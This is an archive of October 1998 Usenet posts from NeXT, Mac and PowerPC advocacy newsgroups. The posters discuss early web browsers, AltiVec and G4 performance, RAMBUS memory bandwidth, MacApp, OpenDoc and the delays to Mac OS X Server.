> 1991, Tim posted an annoucement to the a NeXT related newsgroup
> that the www software was available. I ignored that
> announcement, as most of you who were into NeXT at time did as
> well. Boy, did we miss the next big thing!
Well, I can't remember exact dates or anything, but...
AT the time Tim released the app, I was in total "packrat" mode and would
download anything and *everything* that people posted to the archives. Back
in 1991 it was feasible to have your own copy of everything on the ftp
archives, so I did. Every day I checked for new toys.
So I downloaded it, tried it out, and thought "well, this is neat and all,
but there's nothing here that's really useful to me". Obviously times
change. :-)
I can't give an exact date as to when I first fired up the web, though,
because I can't say exactly when I saw the message, due to NNTP delays and
all. So it was probably within a week, more or less, of Tim's announcement
about his app. Like many others, though, I never saw beyond what was there
and ignored it until my boss at BYU at the time asked me to compile the first
mosaic to be installed on all of the college of engineering's shared
workstations...which was a few years later. And it took a little while to
make the connection that mosaic was a version of WorldWideWeb.app.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Avie: From Defender Clone to Witness Chair
Date: 23 Oct 1998 02:02:46 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <70oo46$p3n$4@cronkite.cs.umd.edu>
NNTP-Posting-Date: 23 Oct 1998 02:02:46 GMT
...so as I was reading about Avie's soon appearance in the witness chair,
I suddenly remembered an email conversation I had with him a long time
back. After working on NeXT boxes for a while, I happened to have cranked
up my old Mac Plus, and there on the hard drive was a "Defender" clone
written for the very early Mac...written by some guy called "Avadis
Tevanian."
At this point in time, Avie was doing very well thank you as an executive
at NeXT. So I sent him some mail about the nastolgia of finding this
program on my Mac (pretty good game too; it broke in System 6 too). His
response:
"Yeah, so where's my shareware fee?"
Sean Luke
seanl@cs.umd.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <2992029756@hoult.actrix.gen.nz>
From: Bruce@hoult.actrix.gen.nz (Bruce Hoult)
Date: Fri, 23 Oct 1998 23:22:36 +1300
References: <slrn72s8u8.9ka.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) writes:
> Hmmm - I think you mean 4-5 Mbps (huge difference there, Rob <g>).
> Actually, I'm not so sure that a 350 MHz 604e couldn't crank out the
> IDCTs plenty fast enough - I can make a 603e/180 do an 8x8 IDCT in an
> average of about 4.7 usec with some fairly well-optimized code (but a
> slowish algorithm); the pipelined integer multiplier and ability to issue
> 2 adds and 1 mulli per cycle in the 604e could cut that down quite a bit;
Sorry -- the 604(e) has a rather severe limitation: it looks as if it can
dispatch and process a rather large number of instructions at the same time
(and it can), but at the back end it can only write back two integer results
per clock cycle. Since you could get up to five integer results being
generated in a cycle (two simple ALU, 1 mul, 1 load result, 1 load/store
with update address) this is a rather severe limitation.
-- Bruce
--
'We have no intention of shipping another bloated operating system and
forcing that down the throats of our Windows customers'
-- Paul Maritz, Microsoft Group Vice President
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
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In <70pcgr$kke$1@reader1.reader.news.ozemail.net> "Greg Alexander" wrote:
> I'm interested - if everyone had to choose between Rhaptel and a
> MacGUI + YB on Linux (or BSD), what would you prefer?
> (This is assuming roughly the same cost for either.)
> Would you be more likely (or less?) to buy either platform?
I believe that Mach is the way to go, and that will always colour my
decisions towards an integrated OS like "Rhaptel". However I don't pretend
that my personal reasons for this (truth and beauty) are correct for anyone
else, so I'm not at all sure.
> Using existing Open source means you get a good compatibility with
> existing Intel hardware. Apple just has to worry about working on the
> popular distributions.
No small worry though!
> My only criticism would be if Apple bundled Unix utilities (eg Samba or
> Apache)
> with new GUIs on MOSX Server, but didn't do the same for their Linux/BSD
> compile.
It depends on the distribution I suppose. If they were to give away a
Linux runtime, then I think it's reasonable.
> If they bundled on *BSD - then any code improvements made to those
> systems wrt YB would be easily transferable to MOSX.
Yes, this is one of the reasons I thik killing an Intel version is DUMB.
Maury
####################################################################
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Date: 23 Oct 1998 14:01:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70q27s$87o@newsb.netnews.att.com>
References: <70ipmn$osd@newsb.netnews.att.com> <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net>
Originator: gupta@tlctest
cybin <cybin9NOSPAM@hotmail.NOSPAMcom> wrote:
>Not to take away from the paragraph that I removed, but this "such and
>such will be ready by LATE 2001" is typical propaganda/BS. Who the hell
>is going to remember this announcement 3 years from now? No one, except
>the spin doctors (Intel) who wrote it. And when it's NOT ready, or some
>other developer beats them to it, do you think they'll remind us?
>Hahahahaha. This is just a classic example of building "faith" in order
>to keep market share, ie. "why should I switch to Mac (or anything else)
>when Intel is busy making my system faster?" Hahahahahahaha.
I fully understand that. My prediction was that as an engineering
project, Merced would be a failure, and it appears to be so.
It is possible that McKinley may be better.
-arun gupta
ranges from 3.5 to 4.9.
"3D Graphics" speed up ranges from 1.5 to 17.5
"Image Effects" -- C code speed ups are mostly not available.
"Communications : Modem and Telephony" range from no speed-up
to 30.7 times.
Misc. small table look-ups, small sorts, Gaussian elim. for
small number of variables , the speed ups range
from very little (1.15) to 20.
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 23 Oct 1998 14:27:55 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70q3pb$8ai@newsb.netnews.att.com>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <rbarris-ya023280002210981125330001@206.82.216.1> <F18w9y.K6F@T-FCN.Net> <rbarris-ya023280002210981329240001@206.82.216.1>
Originator: gupta@tlctest
>>
>> Right. Is the primary idea of the faster clock rate to reduce latency?
>> Or is the low latency a side effect of something else entirely?
>
> Dunno. I am sure it helps with latency, but it's also a requirement to
>even be competitive in terms of throughput, with such a narrow datapath.
Articles at www.tomshardware.com
http://www.tomshardware.com/releases/98q3/980814/index.html
and
http://www.tomshardware.com/releases/98q3/980710/index.html
lead one to believe that RAMBUS isn't a very good solution.
-arun gupta
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacApp lives (was Mac OS X Server)
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<F18G27.B0s@T-FCN.Net> <johnc-2210981802080001@pppsl1017.chicagonet.net>
Mime-Version: 1.0
Date: Fri, 23 Oct 1998 14:20:06 GMT
In <johnc-2210981802080001@pppsl1017.chicagonet.net> JohnC wrote:
> I think that Apple's MacApp development group would disagree with you
I'm sure they would, considering all the signs they put around WWDC
saying something like "we're actually still alive, honest". However the
turnout at the meetings (next door to the IB one) wasn't encouraging.
> They just put out a new release. Even more amazing, from all indications,
> they're close to releasing a MacOS/Win32 _cross-platform_ version of the
> framework.
Who is? Apple or someone else?
> Put THAT in your pipe and smoke it.
Smoking is bad for you. You seem to think this is supposed to impress me
into some other stance, but it completely re-enforces my point that Carbon
on PC's is superfluous.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
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<F18w9y.K6F@T-FCN.Net> <70omn1$qf9$3@hecate.umd.edu>
Mime-Version: 1.0
Date: Fri, 23 Oct 1998 14:29:45 GMT
In <70omn1$qf9$3@hecate.umd.edu> David T. Wang wrote:
> AFAIK, RAMBUS doesn't solve latency problems. The critical first word
> would still take just as long. It's a bandwidth issue.
Then I'm not sure I completely understand how it does it. Isn't a 100Mhz
64-bit path basically identical in speed to a 400Mhz 8-bit one? If so,
then am I mistaken in thinking RAMBUS is much faster (ie, I thought it was
effectively double in relative terms, so that it's greater than 533/400
faster)? Or is there some other magic that's going on as well?
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
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Cc: amaliy1@uic.edu
Organization: My ISP puts something here if I don't.
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F18H47.Bq9@T-FCN.Net> <70omiv$qf9$2@hecate.umd.edu>
<70ou35$236i$1@piglet.cc.uic.edu>
Mime-Version: 1.0
Date: Fri, 23 Oct 1998 14:38:14 GMT
In <70ou35$236i$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> There are a few reasons for going to something like RAMBUS. One
> is to allow an increase in bandwidth while keeping pin counts low.
Ok, but I'm not sure I understand how this doesn't face the same limits
at some other time. For instance, if you want to double the bandwidth of
RAMBUS, don't you basically double the pin count?
> Another is to allow high bandwidth in systems that don't need really
> large main memories.
Ok, this one I can understand. Still this seems like a fairly minor
point - with most machines coming with 64M on them as standard, it would
see a wide array of SD's is still not a real issue, at least not one worth
a switch over?
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu
Organization: My ISP puts something here if I don't.
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F18H47.Bq9@T-FCN.Net> <70omiv$qf9$2@hecate.umd.edu>
Mime-Version: 1.0
Date: Fri, 23 Oct 1998 14:31:47 GMT
In <70omiv$qf9$2@hecate.umd.edu> David T. Wang wrote:
> Uh, no, I meant to say, a lot of money for little benefit. new board
> design, chipset, blah, blah, blah.
Thought so! :=)
> I found it useful to read the papaganda papers on rambus' own web site.
> try this one, and see if it helps.
>
> http://www.rambus.com/docs/drtechov.pdf
Great, I'll check it out.
> http://www.chips.ibm.com/products/memory/sdramart/sdramart.html
Thanks again, I've always wondered about this, FastPage, EDO etc.
> I'm still waiting for someone to clearly explain "why RAMBUS" to me.
Me too!
> From the bandwidth numbers I have seen, it's roughly equivalent to other
> types of RAM
Oh.
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 23 Oct 1998 21:24:40 GMT
Organization: I don't think so
Message-ID: <slrn731tbd.dg.jason@jhste1.dyn.ml.org>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1> <slrn72s8u8.9ka.jason@jhste1.dyn.ml.org> <70q1ue$862@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ posted the following to comp.sys.mac.advocacy:
>http://developer.apple.com/hardware/altivec/performanceTable.html
>gives a table of AltiVec speed-ups over optimized PowerPC C code,
>for specific algorithms.
>For example, 8x8 Forward DCT, scaled Chen Algorithm,
>takes 100 AltiVec G4 cycles, a speed-up of 11.4 over optimized
>PowerPC C code, according to this table.
Based on the table's listing for the inverse (not forward) DCT:
If the G4 is at 400 Mhz, that's 252 nsec for an IDCT (Chen algorithm;
101.7 cycles); they claim that "optimized C code" (whatever that means)
takes 12.3 times the time on PowerPC, which is 3.2 usec. They don't say
what PowerPC they are talking about, though - I assume that they are
talking about the same chip, though (400 MHz G3-style integer units). The
250 or so nsec for the IDCT is actually dead-on for what I had guessed,
based on my understanding of the AltiVec architecture (I may even have
posted that guess a while back, but I don't recall for sure). It _is_
quite impressive.
I do think that you could get a 400 MHz 604e to do an 8x8 IDCT (with the
same or similar algorithm - by Chen do they mean Chen-Wang or is this
something different? I'm familiar with the Chen-Wang) in around 1 usec in
a real application (MPEG or JPEG, for example) with optimized assembly
instead of "optimized C code" and by utilizing a few simple tricks in
other parts of the code that wouldn't be necessary with AltiVec, though,
so these numbers look a little bit optimistic (at least in that case)
to me as far as the actual amount of the speedup (factor of about 4
instead of 12.3, although the G3-style integer units would probably be
slower than the 604e for the IDCT, since it's pretty much all adds and
multiplies, which can be pipelined 3 per cycle through a fair amount
of the code on a 604e if the code is hand-scheduled to avoid stalls,
something the 750 simply cannot do. I'd guess around 2 usec for the
750/400, but it might be coaxed to do better than that).
--
Latvian Orthodox Priest: Is there one aspect of the faith that you find
particularly attractive?
George Costanza: I think - the hats.
-- Seinfeld
Date: Fri, 23 Oct 1998 11:52:36 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <christian.bau-2310981152360001@christian-mac.isltd.insignia.com>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <christian.bau-2010981031270001@christian-mac.isltd.insignia.com> <909065706.426118@haldjas.folklore.ee>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <909065706.426118@haldjas.folklore.ee>, Sander Vesik
<sander@haldjas.folklore.ee> wrote:
> Say you have a processor that can have more than one memory transaction in
> flight, like say two (every ppc can). Un which case we can arrange it like:
>
> PPC
> |
> |
> |
> -------
> | |
> | |
> -------
> | |
> | |
> A B
>
> Where memory bank A contains all "even numbered" cache lines and memory
> bank B contains all "odd numbered" cache lines. Now, if the processor wants
> to access the memory, two consecutive memory accesses can be:
>
> a) load two even numbered cache lines
> b) load two odd numbered cache lines
> c) load even numbered cache line and load odd numbered cache line
> d) load odd numbered cache line and load even numbered cache line
>
> In the case of a) and b) we win nothing. In the case of c) and d) however,
> we can overlap the inital latency of SDRAM and present CPU with the other
> cache line just after the first one, as if there was no latency for
> accessing the second cache line.
Another case where interleaved memory would help is if you get into a
situation where a machine could use fast+expensive memory and slow+cheap
memory. Lets say you can buy really expensive memory chips that run at
4-1-1-1, and cheap (or normal priced) ones running at 6-1-1-1, and a burst
read always does four accesses in a row.
Then you could theoretically combine one expensive chip with one cheap
chip. Read the first two items from the fast chip and the last two items
from the cheap one, and get 4-1-1-1 access in total.
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Fri, 23 Oct 1998 18:36:55 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1>
In article <rbarris-ya023280002010981659250001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) wrote:
> In article <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se>,
> Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
>
> > I can't imagine other than that the AltiVec unit is going to be seriously
> > bandwidth limited for many of its' potential applications.
>
> Very much depends on the algorithm. Even though you might be able to
> concoct an example where the AV unit starves for memory (lots of back to
> back loads and stores of 128 bit words with little computation in
> between)... the point is that AltiVec lets you attack problems where memory
> bandwidth wasn't the problem before - computation was.
>
> Example, MPEG decode, 4-5MB/s of input, 36MB/s of output (640x480, 4
> bytes per pixel, 30 fps)... today's systems have plenty of memory bandwidth
> to get the job done, but the core CPU just can't do all the DCT's etc etc
> fast enough to meet that 30fps deadline. Enter AltiVec, the bandwidth
> needs didn't change by one byte, yet now the computation can get done in
> time thanks to the parallel ALU's, media arithmetic etc.
>
> If you had a task that couldn't be done on the old system due to memory
> bandwidth issues, it probably can't be done on the new system (assuming the
> same memory bandwidth). If, as above, you had a problem that didn't really
> starve for bandwidth and yet was unattainable due to CPU workload, AltiVec
> might help.
Yep, that pretty much sums it up.
My point is that for large problems, the proportion of computational
problems that are bandwidth limited might be fairly large.
> And even this discussion leaves out a key point, that AltiVec can
> actually take the fixed memory bandwidth and make far better use of it with
> its cache hinting and prefetch instructions. Stalling on cache misses can
> be deadly for performance, and AltiVec offers "stream prefetch" to make the
> odds of misses far lower if properly used.
Prefetching is obviously A Good Thing. But it doesn't do you much
good where the raw bandwidth rather than cache miss latency is the
problem.
Sure there exist SIMD applications where the bandwidth vs.
computational intensity relationship is such that AltiVec gives a
substantial performance increase. Never argued otherwise. But just
about every discussion of AltiVec I have seen completely neglects
memory subsystem performance. They even go so far that they do
instruction counting, which while interesting in its' own right, is
perfectly useless for predicting performance on real world problems.
3D-transforms for example is already bandwidth limited in many cases.
Even though for instance 3D object rotation is an excellent example
of a problem that fits a SIMD programming model, it won't gain any
benefit at all from AltiVec. Sure the actual calculation will be
faster, but the existing cores already do that an order of magnitude
faster than you can read data from memory and write the results back
again.
The current generation of hardware has a total main memory bandwidth
of roughly 150MB/s, which in turn has to be shared by memory reads and
writes. Apply this fact as needed.
SIMD has been around for decades in the scientific community, and
the problems with speeding up various algorithms using SIMD techniques
has been probed pretty damn deeply over here. (Computational
chemistry in my case.)
Making performance predictions without taking problem size/bandwidth
issues into account is folly. But it makes great marketing.
Jonas Palm
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
Date: Fri, 23 Oct 1998 17:14:57 +0100
Organization: Cadence Design System, Inc.
Message-ID: <3630AB81.203ECF25@cadence.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<F0xG4H.5Co@T-FCN.Net> <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost>
<F0y0C6.5q2@T-FCN.Net> <70pcgr$kke$1@reader1.reader.news.ozemail.net> <F1A9DF.E7q@T-FCN.Net>
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Maury Markowitz wrote:
> > Using existing Open source means you get a good compatibility with
> > existing Intel hardware. Apple just has to worry about working on the
> > popular distributions.
>
> No small worry though!
The reports of our fragmentation have been greatly exaggerated.
:-)
Simon
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 23 Oct 1998 16:23:44 GMT
Organization: University of Illinois at Chicago
Message-ID: <70qaig$26l8$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1ABBq.FGv@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <70ou35$236i$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
: > There are a few reasons for going to something like RAMBUS. One
: > is to allow an increase in bandwidth while keeping pin counts low.
: Ok, but I'm not sure I understand how this doesn't face the same limits
: at some other time. For instance, if you want to double the bandwidth of
: RAMBUS, don't you basically double the pin count?
Yeah, but 800MHz 16 bit RAMBUS delivers the same bandwidth as 100MHz
128 bit interface. So if you doubled the pins to increase bandwidth
with RAMBUS, you would still have 1/4 the pins of the half as fast
SDRAM solution.
: > Another is to allow high bandwidth in systems that don't need really
: > large main memories.
: Ok, this one I can understand. Still this seems like a fairly minor
: point - with most machines coming with 64M on them as standard, it would
: see a wide array of SD's is still not a real issue, at least not one worth
: a switch over?
The probablem occurs when you move to 256 MBit or larger DRAMs (which have
something like 16 bit or 32 bit wide interfaces I believe). In a
64MB system you need only two chips so, so bus would only be 32 bits
or 64 bits, which if operated at 100MHz would give you 1/4 to 1/2 the
bandwidth of two 256MBit Direct Rambus RAM chips. The disadvantage
is that those RAMBUS chips would be more expensive due to the extra logic
on each chip.
: Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 23 Oct 1998 13:46:02 GMT
Organization: Primenet (602)416-7000
Message-ID: <70q1aq$lv3$1@nnrp02.primenet.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net>
Ziya Oz <ZiyaOz@earthlink.net> wrote:
: Tokyo Seybold Keynote Report (Oct. 21, 1998)
: <http://www.macintouch.com/seybold1998tokyo.html>
: During the question and answer session at the end, an audience member
: asked why Mac OS X Server was missing from the OS roadmap slide. Martin
: [Jim Martin Apple's Senior Director of Design and Publishing Marketing]
: made it very clear MacOS X Server was alive and well, however: "We came
: to the conclusion with our developers that the best strategy is come out
: with that (MacOS X Server) in '99 and make sure that it has the right
: hardware design, the right software on it, like Web Objects, and do it
: right rather than try to do it too quickly."
: He says, 1999; not November 28, 1998.
The bit where he says "the right hardware design, the right software on
it, like Web Objects" makes me think of the old Apple servers (hardware +
software bundles).
That is not the product that got me interested back in early '97. I got
interested because I thought Apple planned to quickly leverage to a strong
OS with a good UI.
The "quickly" part is now dust. I guess it remains to be seen(*) if MacOS
X, in the general form, will fulfill the "strong OS" part.
* - by those who remain to see it
John
P.S. - do you like the "with our developers" part?
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Sat, 24 Oct 1998 09:42:57 +1000
Organization: OzEmail Ltd.
Message-ID: <70r43k$apa$1@reader1.reader.news.ozemail.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com>
>> jkheit@mediaone.net wrote:
>>> I don't think there is any way around this. Mac OSX S is late. Originally
>>> it was due out before Sept., if memory serves. Then the date has been pushed
>>> up and up. And now we're in October, and the rumblings are year end.
Sal Denaro wrote:
>I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
>to ship with it. This statement was made by a WO guy at Apple I know.
Now we've got to hope that it isn't bundled together.... then you've got >$1.5k
for a MOSX Server + WO bundle... Of course that would keep all their
promises without letting an average user change to intel!
Greg
a
consumer market and a professional market (publishing/design),
etc. etc.
-arun gupta
From: cybin9NOSPAM@hotmail.NOSPAMcom (cybin)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Date: Fri, 23 Oct 1998 16:02:09 -0500
Organization: ChachiSpice, Inc.
Message-ID: <cybin9NOSPAM-2310981602090001@randolphmax3-91.megsinet.net>
References: <70ipmn$osd@newsb.netnews.att.com> <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net> <70q27s$87o@newsb.netnews.att.com>
My apologies for the double-post. My news-server was acting up last night.
Also, Arun, I wholeheartedly agree. It's just that it only dawned on me
that in all types of discussions such as these I've not once noticed the
idea of "propaganda" mentioned. Many folks misunderstand what propaganda
truly is, and how rampant it still is in today's society. (These days
it's called "marketing" & "P.R.";) )
And while I'm on the subject, though some may criticize D K Every and his
MacKiDo site occasionally, he does have some interesting things to say
about Intel, including how they ALWAYS spew this sort of stuff and then
never make their deadlines.
MY 2¢
ç
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacApp lives (was Mac OS X Server)
Date: 23 Oct 98 17:16:06 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2566A58-1DE82@206.165.43.172>
References: <F1An34.M32@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>c) Apple's just as likely to drop it as anything else
>
> I'll say it again, the last issues are why they didn't use GX either.
???
The Carbon API is another way of accessing eQD, no? If they port eQD for
Yellow Box, they already have eQD and no reason to drop it (unless they
drop support of Yellow Box), so it's just a port of the API layer (for eQD
and the other Carbon services that sit on top whatever will be ported to
WIntel for Yellow Box).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: johnc@nospam.chicagonet.net (JohnC)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacApp lives (was Mac OS X Server)
Date: Fri, 23 Oct 1998 18:59:32 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <johnc-2310981859340001@pppsl854.chicagonet.net>
References: <70m8mh$ehe$1@news.digifix.com> <B2542F3B-C66CA@206.165.43.7> <F18G27.B0s@T-FCN.Net> <johnc-2210981802080001@pppsl1017.chicagonet.net> <F1AAHJ.EwJ@T-FCN.Net>
0j\Oj7U4^V*DFv&nS.AG2ytYMFD{vVjGcpYGiG,\04ZVJ(olX*IJzAc+U)BdS#P_IpK1
1zz=nBwH>21C)#t6]#x"aD*jTgS?S_VNUP36)=X6csz+Lt./0%4p8w57*)1XeFBElm9Y
||7qRf`yCGkohH4R3q8A7zQ"g
In article <F1AAHJ.EwJ@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <johnc-2210981802080001@pppsl1017.chicagonet.net> JohnC wrote:
>> I think that Apple's MacApp development group would disagree with you
>
> I'm sure they would, considering all the signs they put around WWDC
>saying something like "we're actually still alive, honest". However the
>turnout at the meetings (next door to the IB one) wasn't encouraging.
Yes, but that's not the same as what you just said before: "MacApp is
dead. No further work is being done"
>> They just put out a new release. Even more amazing, from all indications,
>> they're close to releasing a MacOS/Win32 _cross-platform_ version of the
>> framework.
>
> Who is? Apple or someone else?
Apple.
--
JohnC | queer person | johnc@chicagonet.net | ICQ 8543232
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 23 Oct 98 17:47:58 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25671D0-39FCD@206.165.43.172>
References: <3630f1ad.0@news.depaul.edu>
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nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>OpenDoc. (Which also wasn't a very good way to encourage small
>developers to write software for the Mac. Small developers can
>write big software, and don't need to be limited to little
>things.)
Are you under teh impression that you can't write "big software" with OD?
Wav, Cyberdog itself and a few other major OS "parts" would tend to
disprove this.
OD allows software developers to concentrate on functionality rather than
the surrounding framework. Imagine what thigns would be like if virtually
EVERY app could function as a plug-in to ClarisWorks.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: Fri, 23 Oct 1998 19:44:08 -0500
Organization: Just me
Message-ID: <billa-2310981944080001@archbald-34.slip.uiuc.edu>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy>
In article <01bdfe2a$27f06770$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
> The problem I had with [what I believed] was Amelio's vision is that
> small isn't OK for the computer business. You cannot attract new
> developers with small marketshare for your API. NeXT knew this when it
> chose to bring OpenStep APIs to Windows (although it blew it with the
> price), and Sun knew this when they brought Java out for Windows and
> other platforms.
>
> Sony still has high volume sales.
>
> Just my $0.02,
>
> Todd
How about USB? How long has Wintel been shipping motherboards with a
USB port? I finaly saw a USB device. Guess what it was attached to...
Bill
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 23 Oct 98 17:45:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B256715A-38412@206.165.43.172>
References: <F1AnxI.MHo@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
> As you can see Apple's information on OD or CD alone far outnumbers
these
>other examples put together. You're just picking an example that was
>created after the web was a going concern and thus actually had a page
that
>could be shut down. Sorry, no dice, the first two also had web pages at a
>minimum.
Can you still download the software for these others?
You can't download Cyberdog 2.0 from Apple's website any more. 3 days ago,
you could.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: Fri, 23 Oct 1998 15:03:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70q5re$g96$1@nnrp1.dejanews.com>
References: <7tzpaoq8q2.fsf@libra.slac.stanford.edu>
To: pfkeb@libra.slac.stanford.edu
